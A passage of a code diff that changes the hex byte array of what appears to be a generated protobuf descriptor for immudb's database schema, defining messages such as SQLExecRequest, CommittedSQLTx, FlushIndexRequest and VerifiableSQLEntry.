0x73, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, - 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, - 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x56, 0x32, 0x22, 0x5b, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, - 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x41, 0x0a, - 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, - 0x22, 0x87, 0x01, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, - 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, - 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, - 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x21, 0x0a, 0x05, 0x43, 0x68, - 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x4e, 0x0a, - 0x12, 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a, - 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a, - 0x0e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, - 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, - 0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x7c, 0x0a, 0x0f, - 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, - 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, - 0x72, 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, - 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, 0x65, 0x75, - 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, - 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, - 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, - 0x74, 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, - 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, - 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, - 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, - 0x20, 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, - 0x73, 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, - 0x64, 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, - 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, - 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, - 0x5f, 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, - 0x50, 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, - 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, - 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, - 0x1a, 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, - 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, - 0x15, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, - 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, - 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, - 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x59, 0x0a, 0x11, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x63, 0x6c, + 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, + 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x79, 0x6e, 0x63, + 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, + 0x22, 0x30, 0x0a, 0x12, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x22, 0x25, 0x0a, 0x05, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x74, + 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, + 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x88, 0x01, 0x0a, 0x0d, 0x53, 0x51, + 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x74, + 0x61, 0x62, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x61, 0x62, 0x6c, + 0x65, 0x12, 0x33, 0x0a, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x08, 0x70, 0x6b, + 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, + 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, + 0x63, 0x65, 0x54, 0x78, 0x22, 0x81, 0x01, 0x0a, 0x17, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, + 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, + 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, + 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, + 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, + 0x61, 0x74, 0x61, 0x22, 0x87, 0x07, 0x0a, 0x12, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, + 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, + 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, + 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, + 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, + 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, + 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, + 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, + 0x64, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x18, 0x10, 0x20, 0x03, 0x28, 0x0d, + 0x52, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, + 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x2e, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, + 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x09, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, + 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, + 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, + 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, + 0x49, 0x64, 0x12, 0x51, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, + 0x18, 0x0b, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, + 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, + 0x6e, 0x42, 0x79, 0x49, 0x64, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, + 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, + 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, + 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, + 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, + 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, + 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, + 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, + 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, + 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 